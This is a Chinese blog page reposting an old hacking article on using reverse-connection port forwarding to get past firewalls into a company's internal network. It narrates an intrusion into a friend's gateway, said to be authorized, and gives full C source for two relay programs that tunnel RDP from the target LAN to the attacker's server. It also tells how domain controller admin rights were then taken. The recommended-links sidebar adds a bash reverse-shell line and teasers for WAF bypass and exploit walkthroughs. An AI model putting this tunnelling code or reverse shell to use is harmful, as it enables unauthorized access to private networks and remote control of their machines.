利用socket转发和反弹端口技术突破防火墙进入内网

让Socket穿透Windows防火墙 创建了ServerSocket以后,并不是没事了,其实上,为了系统安全考虑,创建服务器套接字后,只是创建成功了,但是在数据包入站的时候呢,会被防火墙过滤,因此,我们就收不到来自网络的数据了。 因此,在系统的默认安全级别下,当一个程序第一次创建ServerSocket时,系统会弹出一个这样的对话框: 除非用户同意,点“运行访问”,否则就没办法通信,而你的程序,收不到半点异常 因为防火墙不是 阅读详情

 利用socket转发和反弹端口技术突破防火墙进入内网收藏

TCP端口反弹技术?

反弹技术,该技术解决了传统的远程控制软件不能访问装有防火墙和控制局域网内部的远程计算机的难题。 反弹端口型 软件的原理是,客户端首先登录到FTP服务器,编辑在木马软件中预先设置的主页空间上面的一个文件,并打开端口监听,等待服务端的连接,服务端定期用 HTTP协议读取这个文件的内容,当发现是客户端让自己开始连接时,就主动连接,如此就可完成连接工作。因此在互联网上可以访问到局域网里通过 NAT (透明代理)代理上网的电脑,并且可以穿过防火墙。与传统的远程控制软件相反, 反弹端口型软件的服务端会主动连接客户端,客户端的监听端口一般开为80(即用于网页浏览的端口),这样,即使用户在命令提示符下使用"netstat -a"命令检查自己的端口,发现的也是类似" TCP UserIP:3015 ControllerIP:http ESTABLISHED"的情况,稍微疏忽一点你就会以为是自己在浏览网页,而防火墙也会同样这么认为的。于是,与一般的软件相反, 反弹端口型软件的服务端主动连接客户端,这样就可以轻易的突破防火墙的限制。
利用两次TCP SOCKET数据转发突破TCP/IP限制进入 -------------------------------------------------------------------------------- 事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹tcp端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:      上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。      〈1〉我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到internet,但我是网关的admin:)。       〈2〉敌人[其实是friend啦]的网关os是2k adv server,在外网网卡上做了tcp/ip限制,只开放了25,53,80,110,3306这几个tcp port,通过一个漏洞,我得到了一个shell,可以通过ie来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文 件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够 连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用tcp socket转发。和第一部分说的一样吗?有些不同。因为他做了tcp/ip限制,我们不能连接他,只能让他来连接我们了,tcp 反弹端口,呵呵。      攻击流程如下:      〈1〉在我的服务器202.1.1.1运行agentmaster,监听tcp port 12345,等待202.2.2.2来连接,监听tcp port 3389,等待我192.168.0.2连接。      〈2〉在敌人网关机器202.2.2.2运行agentslave,连接到202.1.1.1 tcp port 12345[注意:是 反弹端口,tcp/ip过滤也拿他没办法]      〈3〉我自己192.168.0.2用termclient连接到自己的服务器202.1.1.1:3389      〈4〉敌人网关上的agentslave连接到自己本身在内网的ip==〉192.168.1.1:3389      〈5〉数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。      后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为 主域在内网,网关又做了tcp/ip过滤,攻击者没有办法进入。我只要把agentslave设置为连接192.168.1.4:3389,以后就可以直 接连接他的主域控制器啦,不过在网关登陆也一样。   程序代码如下[程序中所用到的tcpdataredird.c已经贴在第一部分,那个文件做数据转发,通用的:      /******************************************************************************      module name:agentmaster.c   date:2001/4/16   copyright(c) eyas   说明:scoket代理主控端,负责监听两个tcp socket,等待攻击者和agentslave来连接,两个   scoket都连接成功后,开始转发数据   sock[0]是client==〉sock[0] sock[1]是target==〉sock[1]      ******************************************************************************/   #include 〈stdio.h〉   #include 〈winsock2.h〉   #include "tcpdataredird.c"      #pragma comment(lib,"ws2_32.lib")      #define targetport 3389//伪装的target的监听端口   #define localport 12345//等待agentslave来connect的端口   int main()   {   wsadata wsd;   socket s3389=invalid_socket,//本机监听的socket,等待攻击者连接   s1981=invalid_socket,//监听的socket,等待agentslave来连接   sock[2]={invalid_socket,invalid_socket};   struct sockaddr_in local3389,local1981,attack,slave;   int iaddrsize;   handle hthreadc2t=null,//c2t=clienttotarget   hthreadt2c=null;//t2c=targettoclient   dword dwthreadid;      __try   {   //load winsock library   if(wsastartup(makeword(2,2),&wsd)!=0)   {   printf("\nwsastartup() failed:%d",getlasterror());   __leave;   }   //create socket   s3389=socket(af_inet,sock_stream,ipproto_ip);   if(s3389==invalid_socket)   {   printf("\nsocket() failed:%d",getlasterror());   __leave;   }   //create socket   s1981=socket(af_inet,sock_stream,ipproto_ip);   if(s1981==invalid_socket)   {   printf("\nsocket() failed:%d",getlasterror());   __leave;   }   //fill the struct   local3389.sin_addr.s_addr=htonl(inaddr_any);   local3389.sin_family=af_inet;   local3389.sin_port=htons(targetport);      local1981.sin_addr.s_addr=htonl(inaddr_any);   local1981.sin_family=af_inet;   local1981.sin_port=htons(localport);   //bind s3389 for attacker   if(bind(s3389,(struct sockaddr *)&local3389,sizeof(local3389))==socket_error)   {   printf("\nbind() failed:%d",getlasterror());   __leave;   }   //listen for attacker to connect   if(listen(s3389,1)==socket_error)   {   printf("\nlisten() failed:%d",getlasterror());   __leave;   }   //bind s1981 for agentslave   if(bind(s1981,(struct sockaddr *)&local1981,sizeof(local1981))==socket_error)   {   printf("\nbind() failed:%d",getlasterror());   __leave;   }   //listen for agentslave to connect   if(listen(s1981,1)==socket_error)   {   printf("\nlisten() failed:%d",getlasterror());   __leave;   }   //socket循环   while(1)   {   //wait for agentslave to connect   iaddrsize=sizeof(slave);   sock[1]=accept(s1981,(struct sockaddr *)&slave,&iaddrsize);   if(sock[1]==invalid_socket)   {   printf("\naccept() failed:%d",getlasterror());   break;   }   printf("\naccept agentslave==〉%s:%d",inet_ntoa(slave.sin_addr),   ntohs(slave.sin_port));   //wait for attacker to connect   iaddrsize=sizeof(attack);   sock[0]=accept(s3389,(struct sockaddr *)&attack,&iaddrsize);   if(sock[0]==invalid_socket)   {   printf("\naccept() failed:%d",getlasterror());   break;   }   printf("\naccept attacker==〉%s:%d",inet_ntoa(attack.sin_addr),   ntohs(attack.sin_port));   //创建两个线程进行数据转发   hthreadc2t=createthread(null,0,tcpdatac2t,(lpvoid)sock,0,&dwthreadid);   hthreadt2c=createthread(null,0,tcpdatat2c,(lpvoid)sock,0,&dwthreadid);   //等待两个线程结束   waitforsingleobject(hthreadc2t,infinite);   closehandle(hthreadc2t);   closehandle(hthreadt2c);   closesocket(sock[0]);   closesocket(sock[1]);   }//end of socket while   }//end of try   __finally   {   //clean all   if(s3389!=invalid_socket) closesocket(s3389);   if(s1981!=invalid_socket) closesocket(s1981);   if(sock[0]!=invalid_socket) closesocket(sock[0]);   if(sock[1]!=invalid_socket) closesocket(sock[1]);   if(hthreadc2t!=null) closehandle(hthreadc2t);   if(hthreadt2c!=null) closehandle(hthreadt2c);   wsacleanup();   }   return 0;   }   /***********************************************************************************      module:agentslave.c   date:2001/4/17   copyright(c)eyas   homepage:www.patching.net   说明:这个程序负责连接最终目标,连接主控端,然后转发数据   这里连接到agenrmaster的socket相当与sclient==〉sock[0],   连接到最终目标的socoket是starget==〉sock[1]      ***********************************************************************************/   #include 〈stdio.h〉   #include 〈winsock2.h〉   #include "tcpdataredird.c"      #pragma comment(lib,"ws2_32.lib")      #define targetip "192.168.1.3"   #define targetport (int)3389   #define agentmasterip "202.1.1.1"   #define agentmasterport (int)12345      int main()   {   wsadata wsd;   socket sock[2]={invalid_socket,invalid_socket};   struct sockaddr_in master,target;   handle hthreadc2t=null,//c2t=clienttotarget   hthreadt2c=null;//t2c=targettoclient   dword dwthreadid;      __try   {   //load winsock library   if(wsastartup(makeword(2,2),&wsd)!=0)   {   printf("\nwsastartup() failed:%d",getlasterror());   __leave;   }   //循环   while(1)   {   //create client socket   sock[0]=socket(af_inet,sock_stream,ipproto_ip);   if(sock[0]==invalid_socket)   {   printf("\nsocket() failed:%d",getlasterror());   __leave;   }   //create target socket   sock[1]=socket(af_inet,sock_stream,ipproto_ip);   if(sock[1]==invalid_socket)   {   printf("\nsocket() failed:%d",getlasterror());   __leave;   }   //fill struct   target.sin_family=af_inet;   target.sin_addr.s_addr=inet_addr(targetip);   target.sin_port=htons(targetport);      master.sin_family=af_inet;   master.sin_addr.s_addr=inet_addr(agentmasterip);   master.sin_port=htons(agentmasterport);   //connect to agentmaster   if(connect(sock[0],(struct sockaddr *)&master,sizeof(master))==socket_error)   {   //连接失败后,等待一会儿再连   printf("\nconnect() to master failed:%d",getlasterror());   closesocket(sock[0]);   closesocket(sock[1]);   sleep(5000);   continue;   }   printf("\nconnect to %s %d success!",agentmasterip,agentmasterport);   //connect to target   if(connect(sock[1],(struct sockaddr *)&target,sizeof(target))==socket_error)   {   printf("\nconnect() to target failed:%d",getlasterror());   __leave;   }   printf("\nconnect to %s %d success!",targetip,targetport);   //创建两个线程进行数据转发   hthreadc2t=createthread(null,0,tcpdatac2t,(lpvoid)sock,0,&dwthreadid);   hthreadt2c=createthread(null,0,tcpdatat2c,(lpvoid)sock,0,&dwthreadid);   //等待两个线程结束   waitforsingleobject(hthreadc2t,infinite);   closehandle(hthreadc2t);   closehandle(hthreadt2c);   closesocket(sock[0]);   closesocket(sock[1]);   }//end of while   }//end of try   __finally   {   if(sock[0]!=invalid_socket) closesocket(sock[0]);   if(sock[1]!=invalid_socket) closesocket(sock[1]);   if(hthreadc2t!=null) closehandle(hthreadc2t);   if(hthreadt2c!=null) closehandle(hthreadt2c);   wsacleanup();   }   return 0;   }
配置firewall防火墙的地址伪装和端口转发 如图3.1所示,企业网络网关服务器和网站服务器采用LinuxCentOS 7.3 操作系统,网关服务器安装3块千兆网卡,分别连接Internet.企业内网、网站服务器。 ➢网关服务器连接互联网网卡 ens33地址为100.1.1.10, 为公网IP地址,分配到firewall 的external区域:连接内网网卡ens37地址为192.168.1.1. 分配到firewall的trusted区域... 阅读详情

相关推荐

socket端口数据转发

socket端口数据转发 详情: http://blog.youkuaiyun.com/friendan/article/details/45625333

【反弹连接】

**摘要:**反弹连接是一种网络通信技术,适用于内网穿透、动态IP和防火墙绕过等场景。当目标设备位于内网或防火墙限制入站连接时,被控端主动连接控制端,实现反向通信。常用工具有Netcat、Metasploit和Socat,支持生成多种载荷(如PHP、Java、Windows EXE)。反弹连接通过加密、混淆或使用合法端口(如80/443)降低安全检测概率,适用于渗透测试和远程控制。实验步骤包括控制端监听、被控端执行连接命令,最终建立交互式Shell会话。

2302_80252080的博客 921

两路半桥LLC谐振变换器软开关Simulink仿真(模拟谐振参数不同、分裂电容)

内容概要:本文介绍了“两路半桥LLC谐振变换器软开关Simulink仿真”资源包,重点在于基于Simulink平台对两路半桥LLC谐振变换器进行高精度建模与动态仿真,特别考虑了谐振参数不一致及分裂电容等非理想工况对系统性能的影响。该仿真模型不仅涵盖了主电路拓扑、软开关实现机制与谐振网络设计,还深入分析了不同参数配置下系统的启动特性、稳态效率、动态响应及软开关条件的满足情况。通过参数扫描与对比仿真,帮助用户掌握LLC变换器的关键设计要素与优化方法,具备较强的工程指导价值和科研教学意义。; 适合人群:电力电子、电气工程及其自动化等相关专业的高校师生,以及从事高频开关电源、新能源变换器、车载充电机等领域的研发工程师和技术人员。; 使用场景及目标:① 掌握两路并联半桥LLC谐振变换器的建模与仿真方法;② 理解软开关技术在提升变换器效率与降低EMI方面的关键作用;③ 分析谐振参数偏差与分裂电容结构对系统均流特性、增益曲线及软开关范围的影响;④ 支持科研项目中的拓扑验证、控制策略开发与故障工况分析; 阅读建议:建议结合Simulink仿真模型与配套说明文档进行学习,重点关注谐振腔参数设置、驱动时序设计及软开关波形观测;可通过调整谐振电感、电容值或引入参数失配,观察系统行为变化,深入理解LLC变换器的稳定边界与优化设计原则。

WAF绕过技术系列文章(一)

在Web应用中,发现远程命令执行漏洞并不罕见,在2017年,OWASP前10位的安全威胁中,注入位于第一: 注入漏洞,例如SQL、NoSQL、OS和LDAP注入,一般发生在服务器执行命令或查询时,因有不可控的数据掺杂其中,所导致的异常反馈。攻击者通过输入恶意数据可能诱使系统去执行意料之外的命令或造成敏感数据泄露。 所有现代的Web防火墙(WAF)都具有拦截远程命令执行(RCE)的能力,...

Fly_鹏程万里 1896

Qwen2.5-7B大模型实战:从零部署到高效推理全流程解析

本文详细解析了Qwen2.5-7B大模型从零部署到高效推理的全流程。内容涵盖环境准备、模型下载、使用Transformers进行核心对话推理,并深入介绍了vLLM与TGI生产级服务部署、GPTQ/AWQ量化技术以降低显存消耗,以及llama.cpp、Ollama等本地推理方案。旨在帮助开发者快速掌握部署技巧,实现大模型在消费级硬件上的高效运行。

weixin_29061425的博客 490

【HCIE】FRR+BFD+OSPF与BGP联动

FRR+BFD+OSPF与BGP联动

Wenrs的博客 1997

VB6.0,如何用winsock的2个内网通过外网通讯

我用vb6.0编的软件,因为公司要求:公司本部一台电脑做服务器,中国其他城市的设备做客户端,然后只要设备打开软件,公司本部电脑就可以看到客户端的一些监控数据了。这个就是2个局域网内的PC,通用外网通讯。现在做实验,2个局域网都进行了端口映射,然后客户端连接服务器,就是先winsock。state=6,连接中,过一会就9,通讯错误了。网上找了半天,没有样例啊。在同一个局域网可以用,连外网就不行啊!请

NCTU_to_prove_safety的博客 2205

EEGNet 网络代码解析与实战复现指南

本文详细解析了EEGNet这一轻量级卷积神经网络的结构与设计思想,重点阐述了其利用深度可分离卷积高效处理脑电信号的原理。文章提供了基于PyTorch的完整代码复现指南,包括网络搭建、数据模拟、训练调试及关键参数解析,旨在帮助读者掌握EEGNet的代码复现技巧,并将其应用于脑机接口等实际场景。

honey的博客 536

利用socket转发和反弹端口技术突破防火墙进入内

 http://www.vfocus.net/art/index_f.htmlTCP端口反弹技术? 反弹技术,该技术解决了传统的远程控制软件不能访问装有防火墙和控制局域网内部的远程计算机的难题。反弹端口型软件的原理是,客户端首先登录到FTP服务器,编辑在木马软件中预先设置的主页空间上面的一个文件,并打开端口监听,等待服务端的连接,服务端定期用HTTP协议读取这个文件的内容,当发现是客户端让

杨德龙的专栏 4031

Win10 + Linux 双系统删除(Linux)

删除Linux所使用的磁盘分区 进入此电脑->计算机->管理->磁盘管理

weixin_52247624的博客 944

DDR5中的On-Die Termination(ODT)详解:电阻值支持及其背后的秘密

DDR5支持多档ODT电阻值,范围从40Ω到480Ω,均基于240Ω标准参考电阻RZQR_{ZQ}RZQ​。不同电阻档位对应不同的信号负载和功耗需求。校准电压点关键,常用0.8×VDD进行精准调校。CA信号间ODT匹配必须严格控制,保证命令总线稳定。选择合适的ODT值是高速内存设计中不可忽视的细节。

weixin_43199439的博客 2103

黑客突破TCP-IP过滤/防火墙进入内网

<br />现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。<br /><br />   也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权

badtoperfect的专栏 911

Altium Designer(AD24/25)导出DXF或DWG结构文件的方法

DXF(Drawing Exchange Format)和DWG(Drawing)是两种常见的CAD(计算机辅助设计)文件格式,常用于结构和硬件之间的沟通。本文介绍Altium Designer(AD24/25)导出DXF或DWG结构文件的方法。

fydar的博客 2343

linux 命令:scp (pscp)、rz/sz、nc (netcat)、ncat、socat、ssh、端口转发(rinetd)

NC 全名 Netcat (网络刀),作者是 Hobbit && ChrisWysopal。因其功能十分强大,体积小巧而出名,被誉为网络安全界的 "瑞士军刀"。Netcat 使用 TCP 或 UDP 协议的网络连接去读写数据。Netcat 也是稳定的后门工具、功能强大的网络调试和探测工具。能够直接由其它程序和脚本轻松驱动。能够建立几乎所有类型的网络连接。在中国NC 的 WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由 "红与黑" 编译后的新浓缩版。.........

freeking101的博客 3万+

Python 爬虫教程:企业官网基本信息抓取

本文介绍了使用Python爬虫技术抓取企业官网信息的方法,包括公司名称、简介、联系方式、地址、产品及新闻等数据。通过Requests和BeautifulSoup库实现网页请求与解析,并利用Pandas存储数据为CSV文件。同时提供了应对反爬虫机制(如设置User-Agent、代理IP池、延迟请求等)的解决方案,帮助高效获取企业公开数据。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 1862

【30】软考软件设计师——UML类图与用例图满分精讲|下午第3题常考核心

本文是《软件设计师·50讲通关|从零基础到工程师职称》专栏第30篇,聚焦**模块四:应用技术(下午题)第3道高频大题**,UML建模是历年下午必考核心,单题分值稳定10~12分。全文深度拆解两大核心UML图表:**类图**与**用例图**,超详细讲解类图三层结构、可见性修饰符、五大核心关系(泛化/关联/依赖/聚合/组合)的判定标准与绘图规范;吃透用例图参与者、系统边界、三大关系(包含/扩展/泛化)的底层逻辑,搭配独家**关系秒杀口诀、标准绘图模板、真题改错技巧**;全文适配补图、判断关系、分析场景、纠错优化

专注于人工智能、软件开发、工控自动化、工厂数字化及智能化等领域,希望和大家共同进步! 573

DC3靶场渗透实战:从Drupalgeddon2漏洞利用到Linux内核提权

渗透测试是评估网络安全性的核心方法,其流程通常遵循信息收集、漏洞利用、权限提升等阶段。在Web安全领域,内容管理系统(CMS)因其广泛应用成为常见攻击面。Drupal作为一款流行的CMS,其历史高危漏洞如Drupalgeddon 2(CVE-2018-7600)允许攻击者在未授权情况下实现远程代码执行,危害极大。该漏洞的利用价值在于能快速获取Web服务器权限,是渗透测试中的关键突破点。在获得初始立足点后,权限提升是达成最终目标的关键步骤,其中Linux内核提权技术,如利用Dirty COW(CVE-2016

weixin_33742618的博客 495

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

MS17-010远程溢出漏洞(永恒之蓝)

MS17-010远程溢出漏洞(永恒之蓝) 实验环境 操作机:kali 2017 操作机IP:172.16.11.2 目标机:windows7 目标机IP:172.16.12.2 打开nmap进行扫描目标主机开放哪些端口 终端打开msfconsole 使用search 命令查找ms17-010漏洞相关模块 使用use 命令选择我们要使用的扫描模块 在运行模块之前,需要设置相关选项,我们使用show options 查看配置信息 需要设置目标地址,设置命令 设..

小小猪的博客 563

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

如何巧用SSH突破防火墙

前言众所周知,一个公司内部与外部网络之间是由防火墙存在的,防火墙的的存在保证了,企业内部的安全性。像一些明文传输的协议telnet或者一些安全性不是那么高的协议icmp,走这些协议的数据时 极度不安全的,在防火墙规则中都是明令禁止的,有时我们由于业务的 需求,需要在外网与内网传输一些像telnet这样的流量,而我们又没有权利去要求相关的部门随意修改防火墙策略。...

weixin_34352005的博客 1001

内网转发——反弹端口

反弹端口:是指受害者服务器的某一个端口不能访问,我们通过反弹端口的形式,让攻击者能够访问该端口,也叫端口转发 主要指以下情况: -1.访问服务器的3389端口,由于防火墙的原因,我们访问不了3389端口 原因:1.3389端口,防火墙没有开放 2.服务器处于公司内网,对外只发布了80端口 3.3389...

cxrpty的博客 4231

Web渗透中的反弹Shell与端口转发的奇淫技巧

奇淫技巧 0x00 前言 在做渗透测试时,遇到linux服务器,直观想到反弹shell到本地进行溢出等提权尝试,⽽而其中涉及到的反弹/转发/代理的种种方式,就在此文做一简单小结. 0x01 反弹shell 1) Bash 部分linux发行版中的Bash可以直接反弹一个shell到指定ip端口   bash -i &gt;&amp; /dev/tcp/x.x.x.x/2333 0&g...

大方子 9973

LCX VIDC端口反弹不通过网关开放任意内网端口

今天给大家说说如何巧用端口映射,不通过网关开放内网的方法。  一:使用前提  需要有一台公网的IP。假如现在我们有一台公网的IP :210.210.21.21  二:用到的工具  1.lcx.exe  2.vdic  三:方法讲解  方法一:用lcx.exe进行映射。  (1)我们将lcx.exe传到公网IP上,在公网IP上DOS环境下执行 lcx –listen 端口1 端...

weixin_34174132的博客 208
上一篇: 第三方二进制汇编代码在VC中的移植和应用
下一篇: 最通用的自删除代码
大浪淘沙1
博客等级 码龄19年 42粉丝 38原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值